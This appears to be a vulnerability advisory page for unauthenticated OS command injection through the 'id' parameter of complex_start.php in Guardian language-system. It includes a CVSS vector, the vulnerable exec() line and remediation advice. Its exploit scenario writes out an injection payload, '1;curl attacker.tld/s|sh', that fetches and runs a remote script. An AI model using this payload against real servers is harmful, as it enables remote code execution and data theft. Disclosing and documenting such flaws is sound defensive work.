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CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Unauthenticated network request with unsanitized input reaching exec() gives AV:N/AC:L/PR:N/UI:N; arbitrary command execution yields full C/I/A impact.
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CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
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Guardian language-system passes the id GET parameter directly into a PHP exec() call in complex_start.php (line 14) without sanitization: exec(\"php jobs/complex.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.
AnalysisAI
OS command injection in Guardian language-system allows an unauthenticated remote attacker to execute arbitrary shell commands by injecting metacharacters into the 'id' GET parameter of complex_start.php, which is passed unsanitized into a PHP exec() call. No authentication or user interaction is required, and the CVSS 4.0 score of 9.3 (Critical) reflects full compromise of confidentiality, integrity, and availability. …
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| Exploitation | The only prerequisite is network reachability to the complex_start.php endpoint of a Guardian language-system deployment; the CVSS vector is AV:N/AC:L/PR:N/UI:N, meaning no special conditions - remote unauthenticated exploitation against default configurations of Guardian language-system. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | All available signals converge on high real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker discovers an internet-exposed Guardian language-system instance and sends a single HTTP GET request to complex_start.php with an id value such as '1;curl attacker.tld/s|sh', causing the server's shell to execute the attacker's commands after the intended php job invocation. Because no authentication is required and a public proof-of-concept gist already demonstrates the technique, the attacker gains code execution as the web server user and can pivot to install a webshell or exfiltrate data. |
| Remediation | No vendor-released patch version was identified in the provided intelligence, so no exact fix version can be cited; monitor the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-complex-start-php) for an official update. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
WITHIN 24 HOURS: Restrict network access to Guardian complex_start.php to trusted internal networks only via firewall rules; disable the 'id' GET parameter handling if operationally feasible. …
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EUVD-2026-41068
GHSA-8jg8-r264-q28x